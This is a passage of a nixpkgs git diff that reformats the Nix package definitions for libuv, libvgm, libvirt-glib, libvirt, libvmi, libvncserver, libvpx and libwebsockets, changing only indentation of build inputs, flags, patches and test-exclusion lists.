-          # https://github.com/libuv/libuv/issues/1871
-          "shutdown_close_pipe"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-          # EOPNOTSUPP when performed in jailed build env
-          "tcp_reuseport"
-          "udp_reuseport"
-          # Fails when built on non-nix FreeBSD
-          # https://github.com/libuv/libuv/issues/4606
-          "fs_event_watch_delete_dir"
-        ];
+        # Assertion failed in test/test-tcp-bind6-error.c on line 60: r == UV_EADDRINUSE
+        # Assertion failed in test/test-tcp-bind-error.c on line 99: r == UV_EADDRINUSE
+        "tcp_bind6_error_addrinuse"
+        "tcp_bind_error_addrinuse_listen"
+        # https://github.com/libuv/libuv/pull/4075#issuecomment-1935572237
+        "thread_priority"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        # Sometimes: timeout (no output), failed uv_listen. Someone
+        # should report these failures to libuv team. There tests should
+        # be much more robust.
+        "process_title"
+        "emfile"
+        "poll_duplex"
+        "poll_unidirectional"
+        "ipc_listen_before_write"
+        "ipc_listen_after_write"
+        "ipc_tcp_connection"
+        "tcp_alloc_cb_fail"
+        "tcp_ping_pong"
+        "tcp_ref3"
+        "tcp_ref4"
+        "tcp_bind6_error_inval"
+        "tcp_read_stop"
+        "tcp_unexpected_read"
+        "tcp_write_to_half_open_connection"
+        "tcp_oob"
+        "tcp_close_accept"
+        "tcp_create_early_accept"
+        "tcp_create_early"
+        "tcp_close"
+        "tcp_bind_error_inval"
+        "tcp_bind_error_addrinuse"
+        "tcp_shutdown_after_write"
+        "tcp_open"
+        "tcp_write_queue_order"
+        "tcp_try_write"
+        "multiple_listen"
+        "delayed_accept"
+        "udp_recv_in_a_row"
+        "shutdown_close_tcp"
+        "shutdown_eof"
+        "shutdown_twice"
+        "callback_stack"
+        "tty_pty"
+        "condvar_5"
+        "hrtime"
+        # Tests that fail when sandboxing is enabled.
+        "fs_event_close_in_callback"
+        "fs_event_watch_dir"
+        "fs_event_error_reporting"
+        "fs_event_watch_dir_recursive"
+        "fs_event_watch_file"
+        "fs_event_watch_file_current_dir"
+        "fs_event_watch_file_exact_path"
+        "process_priority"
+        "udp_create_early_bad_bind"
+        "fs_event_watch_delete_dir"
+      ]
+      ++ lib.optionals (stdenv.hostPlatform.isDarwin && lib.versionOlder finalAttrs.version "1.49.3") [
+        # https://github.com/libuv/libuv/issues/4650
+        # can enable on upgrade from 1.49.2
+        "udp_mmsg"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+        # I observe this test failing with some regularity on ARMv7:
+        # https://github.com/libuv/libuv/issues/1871
+        "shutdown_close_pipe"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+        # EOPNOTSUPP when performed in jailed build env
+        "tcp_reuseport"
+        "udp_reuseport"
+        # Fails when built on non-nix FreeBSD
+        # https://github.com/libuv/libuv/issues/4606
+        "fs_event_watch_delete_dir"
+      ];
       tdRegexp = lib.concatStringsSep "\\|" toDisable;
     in
     lib.optionalString (finalAttrs.finalPackage.doCheck) ''
diff --git a/pkgs/by-name/li/libvgm/package.nix b/pkgs/by-name/li/libvgm/package.nix
index 33c0241dd862..e316855c0bcc 100644
--- a/pkgs/by-name/li/libvgm/package.nix
+++ b/pkgs/by-name/li/libvgm/package.nix
@@ -50,53 +50,52 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals enableTools [ "bin" ];
+  ]
+  ++ lib.optionals enableTools [ "bin" ];
 
   nativeBuildInputs = [ cmake ];
 
-  propagatedBuildInputs =
-    [
-      libiconv
-      zlib
-    ]
-    ++ lib.optionals withALSA [ alsa-lib ]
-    ++ lib.optionals withPulseAudio [ libpulseaudio ]
-    ++ lib.optionals withLibao [ libao ];
+  propagatedBuildInputs = [
+    libiconv
+    zlib
+  ]
+  ++ lib.optionals withALSA [ alsa-lib ]
+  ++ lib.optionals withPulseAudio [ libpulseaudio ]
+  ++ lib.optionals withLibao [ libao ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_LIBAUDIO" enableAudio)
-      (lib.cmakeBool "BUILD_LIBEMU" enableEmulation)
-      (lib.cmakeBool "BUILD_LIBPLAYER" enableLibplayer)
-      (lib.cmakeBool "BUILD_TESTS" enableTools)
-      (lib.cmakeBool "BUILD_PLAYER" enableTools)
-      (lib.cmakeBool "BUILD_VGM2WAV" enableTools)
-      (lib.cmakeFeature "LIBRARY_TYPE" (if enableShared then "SHARED" else "STATIC"))
-      (lib.cmakeBool "USE_SANITIZERS" true)
-    ]
-    ++ lib.optionals enableAudio [
-      (lib.cmakeBool "AUDIODRV_WAVEWRITE" withWaveWrite)
-      (lib.cmakeBool "AUDIODRV_WINMM" withWinMM)
-      (lib.cmakeBool "AUDIODRV_DSOUND" withDirectSound)
-      (lib.cmakeBool "AUDIODRV_XAUDIO2" withXAudio2)
-      (lib.cmakeBool "AUDIODRV_WASAPI" withWASAPI)
-      (lib.cmakeBool "AUDIODRV_OSS" withOSS)
-      (lib.cmakeBool "AUDIODRV_SADA" withSADA)
-      (lib.cmakeBool "AUDIODRV_ALSA" withALSA)
-      (lib.cmakeBool "AUDIODRV_PULSE" withPulseAudio)
-      (lib.cmakeBool "AUDIODRV_APPLE" withCoreAudio)
-      (lib.cmakeBool "AUDIODRV_LIBAO" withLibao)
-    ]
-    ++ lib.optionals enableEmulation (
-      [ (lib.cmakeBool "SNDEMU__ALL" withAllEmulators) ]
-      ++ lib.optionals (!withAllEmulators) (
-        lib.lists.forEach emulators (x: (lib.cmakeBool "SNDEMU_${x}" true))
-      )
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_LIBAUDIO" enableAudio)
+    (lib.cmakeBool "BUILD_LIBEMU" enableEmulation)
+    (lib.cmakeBool "BUILD_LIBPLAYER" enableLibplayer)
+    (lib.cmakeBool "BUILD_TESTS" enableTools)
+    (lib.cmakeBool "BUILD_PLAYER" enableTools)
+    (lib.cmakeBool "BUILD_VGM2WAV" enableTools)
+    (lib.cmakeFeature "LIBRARY_TYPE" (if enableShared then "SHARED" else "STATIC"))
+    (lib.cmakeBool "USE_SANITIZERS" true)
+  ]
+  ++ lib.optionals enableAudio [
+    (lib.cmakeBool "AUDIODRV_WAVEWRITE" withWaveWrite)
+    (lib.cmakeBool "AUDIODRV_WINMM" withWinMM)
+    (lib.cmakeBool "AUDIODRV_DSOUND" withDirectSound)
+    (lib.cmakeBool "AUDIODRV_XAUDIO2" withXAudio2)
+    (lib.cmakeBool "AUDIODRV_WASAPI" withWASAPI)
+    (lib.cmakeBool "AUDIODRV_OSS" withOSS)
+    (lib.cmakeBool "AUDIODRV_SADA" withSADA)
+    (lib.cmakeBool "AUDIODRV_ALSA" withALSA)
+    (lib.cmakeBool "AUDIODRV_PULSE" withPulseAudio)
+    (lib.cmakeBool "AUDIODRV_APPLE" withCoreAudio)
+    (lib.cmakeBool "AUDIODRV_LIBAO" withLibao)
+  ]
+  ++ lib.optionals enableEmulation (
+    [ (lib.cmakeBool "SNDEMU__ALL" withAllEmulators) ]
+    ++ lib.optionals (!withAllEmulators) (
+      lib.lists.forEach emulators (x: (lib.cmakeBool "SNDEMU_${x}" true))
     )
-    ++ lib.optionals enableTools [
-      (lib.cmakeBool "UTIL_CHARCNV_ICONV" true)
-      (lib.cmakeBool "UTIL_CHARCNV_WINAPI" stdenv.hostPlatform.isWindows)
-    ];
+  )
+  ++ lib.optionals enableTools [
+    (lib.cmakeBool "UTIL_CHARCNV_ICONV" true)
+    (lib.cmakeBool "UTIL_CHARCNV_WINAPI" stdenv.hostPlatform.isWindows)
+  ];
 
   passthru = {
     tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
@@ -115,10 +114,11 @@ stdenv.mkDerivation (finalAttrs: {
         lib.licenses.gpl2Only;
     maintainers = with lib.maintainers; [ OPNA2608 ];
     platforms = lib.platforms.all;
-    pkgConfigModules =
-      [ "vgm-utils" ]
-      ++ lib.optionals enableAudio [ "vgm-audio" ]
-      ++ lib.optionals enableEmulation [ "vgm-emu" ]
-      ++ lib.optionals enableLibplayer [ "vgm-player" ];
+    pkgConfigModules = [
+      "vgm-utils"
+    ]
+    ++ lib.optionals enableAudio [ "vgm-audio" ]
+    ++ lib.optionals enableEmulation [ "vgm-emu" ]
+    ++ lib.optionals enableLibplayer [ "vgm-player" ];
   };
 })
diff --git a/pkgs/by-name/li/libvirt-glib/package.nix b/pkgs/by-name/li/libvirt-glib/package.nix
index 8fa4aedf377e..b358c1d5bd30 100644
--- a/pkgs/by-name/li/libvirt-glib/package.nix
+++ b/pkgs/by-name/li/libvirt-glib/package.nix
@@ -28,7 +28,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional withDocs "devdoc";
+  ]
+  ++ lib.optional withDocs "devdoc";
 
   src = fetchurl {
     url = "https://libvirt.org/sources/glib/${pname}-${version}.tar.xz";
@@ -43,31 +44,29 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gettext
-      vala
-      gobject-introspection
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ]
-    ++ lib.optionals withDocs [
-      gtk-doc
-      docbook-xsl-nons
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    vala
+    gobject-introspection
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ]
+  ++ lib.optionals withDocs [
+    gtk-doc
+    docbook-xsl-nons
+  ];
 
-  buildInputs =
-    [
-      libvirt
-      libxml2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap_ng
-    ];
+  buildInputs = [
+    libvirt
+    libxml2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap_ng
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/li/libvirt/package.nix b/pkgs/by-name/li/libvirt/package.nix
index 45c715ab5a44..d04b9a850d02 100644
--- a/pkgs/by-name/li/libvirt/package.nix
+++ b/pkgs/by-name/li/libvirt/package.nix
@@ -125,127 +125,123 @@ stdenv.mkDerivation rec {
     hash = "sha256-0bOX95Ly8d1/XZan/EyxI6JaACJvOu9QsTkFNQTreqI=";
   };
 
-  patches =
-    [
-      ./0001-meson-patch-in-an-install-prefix-for-building-on-nix.patch
-    ]
-    ++ lib.optionals enableZfs [
-      (replaceVars ./0002-substitute-zfs-and-zpool-commands.patch {
-        zfs = "${zfs}/bin/zfs";
-        zpool = "${zfs}/bin/zpool";
-      })
-    ];
+  patches = [
+    ./0001-meson-patch-in-an-install-prefix-for-building-on-nix.patch
+  ]
+  ++ lib.optionals enableZfs [
+    (replaceVars ./0002-substitute-zfs-and-zpool-commands.patch {
+      zfs = "${zfs}/bin/zfs";
+      zpool = "${zfs}/bin/zpool";
+    })
+  ];
 
   # remove some broken tests
-  postPatch =
-    ''
-      sed -i '/commandtest/d' tests/meson.build
-      sed -i '/virnetsockettest/d' tests/meson.build
-      # delete only the first occurrence of this
-      sed -i '0,/qemuxmlconftest/{/qemuxmlconftest/d;}' tests/meson.build
+  postPatch = ''
+    sed -i '/commandtest/d' tests/meson.build
+    sed -i '/virnetsockettest/d' tests/meson.build
+    # delete only the first occurrence of this
+    sed -i '0,/qemuxmlconftest/{/qemuxmlconftest/d;}' tests/meson.build
 
-    ''
-    + lib.optionalString isLinux ''
-      for binary in mount umount mkfs; do
-        substituteInPlace meson.build \
-          --replace "find_program('$binary'" "find_program('${lib.getBin util-linux}/bin/$binary'"
-      done
-
-    ''
-    + ''
+  ''
+  + lib.optionalString isLinux ''
+    for binary in mount umount mkfs; do
       substituteInPlace meson.build \
-        --replace "'dbus-daemon'," "'${lib.getBin dbus}/bin/dbus-daemon',"
-    ''
-    + lib.optionalString isLinux ''
-      sed -i 's,define PARTED "parted",define PARTED "${parted}/bin/parted",' \
-        src/storage/storage_backend_disk.c \
-        src/storage/storage_util.c
-    ''
-    + lib.optionalString isDarwin ''
-      # Darwin doesn’t support -fsemantic-interposition, but the problem doesn’t seem to affect Mach-O.
-      # See https://gitlab.com/libvirt/libvirt/-/merge_requests/235
-      sed -i "s/not supported_cc_flags.contains('-fsemantic-interposition')/false/" meson.build
-      sed -i '/qemufirmwaretest/d' tests/meson.build
-      sed -i '/qemuhotplugtest/d' tests/meson.build
-      sed -i '/qemuvhostusertest/d' tests/meson.build
-      sed -i '/qemuxml2xmltest/d' tests/meson.build
-      sed -i '/domaincapstest/d' tests/meson.build
-      # virshtest frequently times out on Darwin
-      substituteInPlace tests/meson.build \
-        --replace-fail "data.get('timeout', 30)" "data.get('timeout', 120)"
-    ''
-    + lib.optionalString enableXen ''
-      # Has various hardcoded paths that don't exist outside of a Xen dom0.
-      sed -i '/libxlxml2domconfigtest/d' tests/meson.build
-      substituteInPlace src/libxl/libxl_capabilities.h \
-       --replace-fail /usr/lib/xen ${xen}/libexec/xen
-    '';
+        --replace "find_program('$binary'" "find_program('${lib.getBin util-linux}/bin/$binary'"
+    done
+
+  ''
+  + ''
+    substituteInPlace meson.build \
+      --replace "'dbus-daemon'," "'${lib.getBin dbus}/bin/dbus-daemon',"
+  ''
+  + lib.optionalString isLinux ''
+    sed -i 's,define PARTED "parted",define PARTED "${parted}/bin/parted",' \
+      src/storage/storage_backend_disk.c \
+      src/storage/storage_util.c
+  ''
+  + lib.optionalString isDarwin ''
+    # Darwin doesn’t support -fsemantic-interposition, but the problem doesn’t seem to affect Mach-O.
+    # See https://gitlab.com/libvirt/libvirt/-/merge_requests/235
+    sed -i "s/not supported_cc_flags.contains('-fsemantic-interposition')/false/" meson.build
+    sed -i '/qemufirmwaretest/d' tests/meson.build
+    sed -i '/qemuhotplugtest/d' tests/meson.build
+    sed -i '/qemuvhostusertest/d' tests/meson.build
+    sed -i '/qemuxml2xmltest/d' tests/meson.build
+    sed -i '/domaincapstest/d' tests/meson.build
+    # virshtest frequently times out on Darwin
+    substituteInPlace tests/meson.build \
+      --replace-fail "data.get('timeout', 30)" "data.get('timeout', 120)"
+  ''
+  + lib.optionalString enableXen ''
+    # Has various hardcoded paths that don't exist outside of a Xen dom0.
+    sed -i '/libxlxml2domconfigtest/d' tests/meson.build
+    substituteInPlace src/libxl/libxl_capabilities.h \
+     --replace-fail /usr/lib/xen ${xen}/libexec/xen
+  '';
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      meson
-      docutils
-      libxml2 # for xmllint
-      libxslt # for xsltproc
-      gettext
-      makeWrapper
-      ninja
-      pkg-config
-      perl
-      perlPackages.XMLXPath
-    ]
-    ++ lib.optional (!isDarwin) rpcsvc-proto
-    # NOTE: needed for rpcgen
-    ++ lib.optional isDarwin darwin.developer_cmds;
+  nativeBuildInputs = [
+    meson
+    docutils
+    libxml2 # for xmllint
+    libxslt # for xsltproc
+    gettext
+    makeWrapper
+    ninja
+    pkg-config
+    perl
+    perlPackages.XMLXPath
+  ]
+  ++ lib.optional (!isDarwin) rpcsvc-proto
+  # NOTE: needed for rpcgen
+  ++ lib.optional isDarwin darwin.developer_cmds;
 
-  buildInputs =
-    [
-      bash
-      bash-completion
-      curl
-      dbus
-      glib
-      gnutls
-      libgcrypt
-      libpcap
-      libtasn1
-      libxml2
-      python3
-      readline
-      xhtml1
-      json_c
-    ]
-    ++ lib.optionals isLinux [
-      acl
-      attr
-      audit
-      fuse3
-      libapparmor
-      libcap_ng
-      libnl
-      libpciaccess
-      libtirpc
-      lvm2
-      numactl
-      numad
-      parted
-      systemd
-      util-linux
-    ]
-    ++ lib.optionals isDarwin [
-      gmp
-      libiconv
-    ]
-    ++ lib.optionals enableCeph [ ceph ]
-    ++ lib.optionals enableGlusterfs [ glusterfs ]
-    ++ lib.optionals enableIscsi [
-      libiscsi
-      openiscsi
-    ]
-    ++ lib.optionals enableXen [ xen ]
-    ++ lib.optionals enableZfs [ zfs ];
+  buildInputs = [
+    bash
+    bash-completion
+    curl
+    dbus
+    glib
+    gnutls
+    libgcrypt
+    libpcap
+    libtasn1
+    libxml2
+    python3
+    readline
+    xhtml1
+    json_c
+  ]
+  ++ lib.optionals isLinux [
+    acl
+    attr
+    audit
+    fuse3
+    libapparmor
+    libcap_ng
+    libnl
+    libpciaccess
+    libtirpc
+    lvm2
+    numactl
+    numad
+    parted
+    systemd
+    util-linux
+  ]
+  ++ lib.optionals isDarwin [
+    gmp
+    libiconv
+  ]
+  ++ lib.optionals enableCeph [ ceph ]
+  ++ lib.optionals enableGlusterfs [ glusterfs ]
+  ++ lib.optionals enableIscsi [
+    libiscsi
+    openiscsi
+  ]
+  ++ lib.optionals enableXen [ xen ]
+  ++ lib.optionals enableZfs [ zfs ];
 
   preConfigure =
     let
@@ -363,34 +359,33 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  postInstall =
-    ''
-      substituteInPlace $out/bin/virt-xml-validate \
-        --replace xmllint ${libxml2}/bin/xmllint
+  postInstall = ''
+    substituteInPlace $out/bin/virt-xml-validate \
+      --replace xmllint ${libxml2}/bin/xmllint
 
-      # Enable to set some options from the corresponding NixOS module (or other
-      # places) via environment variables.
-      substituteInPlace $out/libexec/libvirt-guests.sh \
-        --replace 'ON_BOOT="start"'       'ON_BOOT=''${ON_BOOT:-start}' \
-        --replace 'ON_SHUTDOWN="suspend"' 'ON_SHUTDOWN=''${ON_SHUTDOWN:-suspend}' \
-        --replace 'PARALLEL_SHUTDOWN=0'   'PARALLEL_SHUTDOWN=''${PARALLEL_SHUTDOWN:-0}' \
-        --replace 'SHUTDOWN_TIMEOUT=300'  'SHUTDOWN_TIMEOUT=''${SHUTDOWN_TIMEOUT:-300}' \
-        --replace 'START_DELAY=0'         'START_DELAY=''${START_DELAY:-0}' \
-        --replace "$out/bin"              '${gettext}/bin' \
-        --replace 'lock/subsys'           'lock' \
-        --replace 'gettext.sh'            'gettext.sh
-      # Added in nixpkgs:
-      gettext() { "${gettext}/bin/gettext" "$@"; }
-      '
-    ''
-    + lib.optionalString isLinux ''
-      for f in $out/lib/systemd/system/*.service ; do
-        substituteInPlace $f --replace /bin/kill ${coreutils}/bin/kill
-      done
-      rm $out/lib/systemd/system/{virtlockd,virtlogd}.*
-      wrapProgram $out/sbin/libvirtd \
-        --prefix PATH : /run/libvirt/nix-emulators:${binPath}
-    '';
+    # Enable to set some options from the corresponding NixOS module (or other
+    # places) via environment variables.
+    substituteInPlace $out/libexec/libvirt-guests.sh \
+      --replace 'ON_BOOT="start"'       'ON_BOOT=''${ON_BOOT:-start}' \
+      --replace 'ON_SHUTDOWN="suspend"' 'ON_SHUTDOWN=''${ON_SHUTDOWN:-suspend}' \
+      --replace 'PARALLEL_SHUTDOWN=0'   'PARALLEL_SHUTDOWN=''${PARALLEL_SHUTDOWN:-0}' \
+      --replace 'SHUTDOWN_TIMEOUT=300'  'SHUTDOWN_TIMEOUT=''${SHUTDOWN_TIMEOUT:-300}' \
+      --replace 'START_DELAY=0'         'START_DELAY=''${START_DELAY:-0}' \
+      --replace "$out/bin"              '${gettext}/bin' \
+      --replace 'lock/subsys'           'lock' \
+      --replace 'gettext.sh'            'gettext.sh
+    # Added in nixpkgs:
+    gettext() { "${gettext}/bin/gettext" "$@"; }
+    '
+  ''
+  + lib.optionalString isLinux ''
+    for f in $out/lib/systemd/system/*.service ; do
+      substituteInPlace $f --replace /bin/kill ${coreutils}/bin/kill
+    done
+    rm $out/lib/systemd/system/{virtlockd,virtlogd}.*
+    wrapProgram $out/sbin/libvirtd \
+      --prefix PATH : /run/libvirt/nix-emulators:${binPath}
+  '';
 
   passthru.updateScript = writeScript "update-libvirt" ''
     #!/usr/bin/env nix-shell
diff --git a/pkgs/by-name/li/libvmi/package.nix b/pkgs/by-name/li/libvmi/package.nix
index 56f5baf3c663..d8e240b5db67 100644
--- a/pkgs/by-name/li/libvmi/package.nix
+++ b/pkgs/by-name/li/libvmi/package.nix
@@ -52,15 +52,14 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      glib
-      json_c
-      libvirt
-    ]
-    ++ lib.optionals xenSupport [ xen ]
-    ++ lib.optionals (!legacyKVM) [ libkvmi ]
-    ++ lib.optionals withVMIFS [ fuse ];
+  buildInputs = [
+    glib
+    json_c
+    libvirt
+  ]
+  ++ lib.optionals xenSupport [ xen ]
+  ++ lib.optionals (!legacyKVM) [ libkvmi ]
+  ++ lib.optionals withVMIFS [ fuse ];
 
   configureFlags =
     lib.optionals (!xenSupport) [ "--disable-xen" ]
diff --git a/pkgs/by-name/li/libvncserver/package.nix b/pkgs/by-name/li/libvncserver/package.nix
index 5daa8e6d1f17..85e83d0b0460 100644
--- a/pkgs/by-name/li/libvncserver/package.nix
+++ b/pkgs/by-name/li/libvncserver/package.nix
@@ -55,16 +55,15 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail 'add_test(NAME includetest COMMAND' '# add_test(NAME includetest COMMAND'
   '';
 
-  buildInputs =
-    [
-      libjpeg
-      openssl
-      libgcrypt
-      libpng
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ];
+  buildInputs = [
+    libjpeg
+    openssl
+    libgcrypt
+    libpng
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ];
 
   propagatedBuildInputs = [
     zlib
diff --git a/pkgs/by-name/li/libvpx/package.nix b/pkgs/by-name/li/libvpx/package.nix
index dc33fa0bef67..5c1202c31553 100644
--- a/pkgs/by-name/li/libvpx/package.nix
+++ b/pkgs/by-name/li/libvpx/package.nix
@@ -164,74 +164,73 @@ stdenv.mkDerivation rec {
   setOutputFlags = false;
 
   configurePlatforms = [ ];
-  configureFlags =
-    [
-      (enableFeature (vp8EncoderSupport || vp8DecoderSupport) "vp8")
-      (enableFeature vp8EncoderSupport "vp8-encoder")
-      (enableFeature vp8DecoderSupport "vp8-decoder")
-      (enableFeature (vp9EncoderSupport || vp9DecoderSupport) "vp9")
-      (enableFeature vp9EncoderSupport "vp9-encoder")
-      (enableFeature vp9DecoderSupport "vp9-decoder")
-      (enableFeature extraWarningsSupport "extra-warnings")
-      (enableFeature werrorSupport "werror")
-      "--disable-install-docs"
-      (enableFeature examplesSupport "install-bins")
-      "--enable-install-libs"
-      "--disable-install-srcs"
-      (enableFeature debugSupport "debug")
-      (enableFeature gprofSupport "gprof")
-      (enableFeature gcovSupport "gcov")
-      # Required to build shared libraries
-      (enableFeature (!isCygwin) "pic")
-      (enableFeature optimizationsSupport "optimizations")
-      (enableFeature runtimeCpuDetectSupport "runtime-cpu-detect")
-      (enableFeature thumbSupport "thumb")
-      "--enable-libs"
-      (enableFeature examplesSupport "examples")
-      "--disable-docs"
-      "--as=yasm"
-      # Limit default decoder max to WHXGA
-      (if sizeLimitSupport then "--size-limit=5120x3200" else null)
-      "--disable-codec-srcs"
-      (enableFeature debugLibsSupport "debug-libs")
-      (enableFeature isMips "dequant-tokens")
-      (enableFeature isMips "dc-recon")
-      (enableFeature postprocSupport "postproc")
-      (enableFeature (postprocSupport && (vp9DecoderSupport || vp9EncoderSupport)) "vp9-postproc")
-      (enableFeature multithreadSupport "multithread")
-      (enableFeature internalStatsSupport "internal-stats")
-      (enableFeature spatialResamplingSupport "spatial-resampling")
-      (enableFeature realtimeOnlySupport "realtime-only")
-      (enableFeature ontheflyBitpackingSupport "onthefly-bitpacking")
-      (enableFeature errorConcealmentSupport "error-concealment")
-      # Shared libraries are only supported on ELF platforms
-      (if isDarwin || isCygwin then "--enable-static --disable-shared" else "--enable-shared")
-      (enableFeature smallSupport "small")
-      (enableFeature postprocVisualizerSupport "postproc-visualizer")
-      (enableFeature unitTestsSupport "unit-tests")
-      (enableFeature webmIOSupport "webm-io")
-      (enableFeature libyuvSupport "libyuv")
-      (enableFeature decodePerfTestsSupport "decode-perf-tests")
-      (enableFeature encodePerfTestsSupport "encode-perf-tests")
-      (enableFeature multiResEncodingSupport "multi-res-encoding")
-      (enableFeature temporalDenoisingSupport "temporal-denoising")
-      (enableFeature (
-        temporalDenoisingSupport && (vp9DecoderSupport || vp9EncoderSupport)
-      ) "vp9-temporal-denoising")
-      (enableFeature coefficientRangeCheckingSupport "coefficient-range-checking")
-      (enableFeature (vp9HighbitdepthSupport && is64bit) "vp9-highbitdepth")
-      (enableFeature (
-        experimentalSpatialSvcSupport || experimentalFpMbStatsSupport || experimentalEmulateHardwareSupport
-      ) "experimental")
-    ]
-    ++ optionals (target != null) [
-      "--target=${target}"
-      (lib.optionalString stdenv.hostPlatform.isCygwin "--enable-static-msvcrt")
-    ]
-    # Experimental features
-    ++ optional experimentalSpatialSvcSupport "--enable-spatial-svc"
-    ++ optional experimentalFpMbStatsSupport "--enable-fp-mb-stats"
-    ++ optional experimentalEmulateHardwareSupport "--enable-emulate-hardware";
+  configureFlags = [
+    (enableFeature (vp8EncoderSupport || vp8DecoderSupport) "vp8")
+    (enableFeature vp8EncoderSupport "vp8-encoder")
+    (enableFeature vp8DecoderSupport "vp8-decoder")
+    (enableFeature (vp9EncoderSupport || vp9DecoderSupport) "vp9")
+    (enableFeature vp9EncoderSupport "vp9-encoder")
+    (enableFeature vp9DecoderSupport "vp9-decoder")
+    (enableFeature extraWarningsSupport "extra-warnings")
+    (enableFeature werrorSupport "werror")
+    "--disable-install-docs"
+    (enableFeature examplesSupport "install-bins")
+    "--enable-install-libs"
+    "--disable-install-srcs"
+    (enableFeature debugSupport "debug")
+    (enableFeature gprofSupport "gprof")
+    (enableFeature gcovSupport "gcov")
+    # Required to build shared libraries
+    (enableFeature (!isCygwin) "pic")
+    (enableFeature optimizationsSupport "optimizations")
+    (enableFeature runtimeCpuDetectSupport "runtime-cpu-detect")
+    (enableFeature thumbSupport "thumb")
+    "--enable-libs"
+    (enableFeature examplesSupport "examples")
+    "--disable-docs"
+    "--as=yasm"
+    # Limit default decoder max to WHXGA
+    (if sizeLimitSupport then "--size-limit=5120x3200" else null)
+    "--disable-codec-srcs"
+    (enableFeature debugLibsSupport "debug-libs")
+    (enableFeature isMips "dequant-tokens")
+    (enableFeature isMips "dc-recon")
+    (enableFeature postprocSupport "postproc")
+    (enableFeature (postprocSupport && (vp9DecoderSupport || vp9EncoderSupport)) "vp9-postproc")
+    (enableFeature multithreadSupport "multithread")
+    (enableFeature internalStatsSupport "internal-stats")
+    (enableFeature spatialResamplingSupport "spatial-resampling")
+    (enableFeature realtimeOnlySupport "realtime-only")
+    (enableFeature ontheflyBitpackingSupport "onthefly-bitpacking")
+    (enableFeature errorConcealmentSupport "error-concealment")
+    # Shared libraries are only supported on ELF platforms
+    (if isDarwin || isCygwin then "--enable-static --disable-shared" else "--enable-shared")
+    (enableFeature smallSupport "small")
+    (enableFeature postprocVisualizerSupport "postproc-visualizer")
+    (enableFeature unitTestsSupport "unit-tests")
+    (enableFeature webmIOSupport "webm-io")
+    (enableFeature libyuvSupport "libyuv")
+    (enableFeature decodePerfTestsSupport "decode-perf-tests")
+    (enableFeature encodePerfTestsSupport "encode-perf-tests")
+    (enableFeature multiResEncodingSupport "multi-res-encoding")
+    (enableFeature temporalDenoisingSupport "temporal-denoising")
+    (enableFeature (
+      temporalDenoisingSupport && (vp9DecoderSupport || vp9EncoderSupport)
+    ) "vp9-temporal-denoising")
+    (enableFeature coefficientRangeCheckingSupport "coefficient-range-checking")
+    (enableFeature (vp9HighbitdepthSupport && is64bit) "vp9-highbitdepth")
+    (enableFeature (
+      experimentalSpatialSvcSupport || experimentalFpMbStatsSupport || experimentalEmulateHardwareSupport
+    ) "experimental")
+  ]
+  ++ optionals (target != null) [
+    "--target=${target}"
+    (lib.optionalString stdenv.hostPlatform.isCygwin "--enable-static-msvcrt")
+  ]
+  # Experimental features
+  ++ optional experimentalSpatialSvcSupport "--enable-spatial-svc"
+  ++ optional experimentalFpMbStatsSupport "--enable-fp-mb-stats"
+  ++ optional experimentalEmulateHardwareSupport "--enable-emulate-hardware";
 
   nativeBuildInputs = [
     perl
diff --git a/pkgs/by-name/li/libwebsockets/package.nix b/pkgs/by-name/li/libwebsockets/package.nix
index 84e55117c74b..928764569233 100644
--- a/pkgs/by-name/li/libwebsockets/package.nix
+++ b/pkgs/by-name/li/libwebsockets/package.nix
@@ -34,25 +34,24 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  cmakeFlags =
-    [
-      "-DLWS_WITH_PLUGINS=ON"
-      "-DLWS_WITH_IPV6=ON"
-      "-DLWS_WITH_SOCKS5=ON"
-      "-DDISABLE_WERROR=ON"
-      "-DLWS_BUILD_HASH=no_hash"
-    ]
-    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "-DLWS_WITHOUT_TESTAPPS=ON"
-    ++ lib.optional withExternalPoll "-DLWS_WITH_EXTERNAL_POLL=ON"
-    ++ (
-      if stdenv.hostPlatform.isStatic then
-        [ "-DLWS_WITH_SHARED=OFF" ]
-      else
-        [
-          "-DLWS_WITH_STATIC=OFF"
-          "-DLWS_LINK_TESTAPPS_DYNAMIC=ON"
-        ]
-    );
+  cmakeFlags = [
+    "-DLWS_WITH_PLUGINS=ON"
+    "-DLWS_WITH_IPV6=ON"
+    "-DLWS_WITH_SOCKS5=ON"
+    "-DDISABLE_WERROR=ON"
+    "-DLWS_BUILD_HASH=no_hash"
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "-DLWS_WITHOUT_TESTAPPS=ON"
+  ++ lib.optional withExternalPoll "-DLWS_WITH_EXTERNAL_POLL=ON"
+  ++ (
+    if stdenv.hostPlatform.isStatic then
+      [ "-DLWS_WITH_SHARED=OFF" ]
+    else
+      [
+        "-DLWS_WITH_STATIC=OFF"
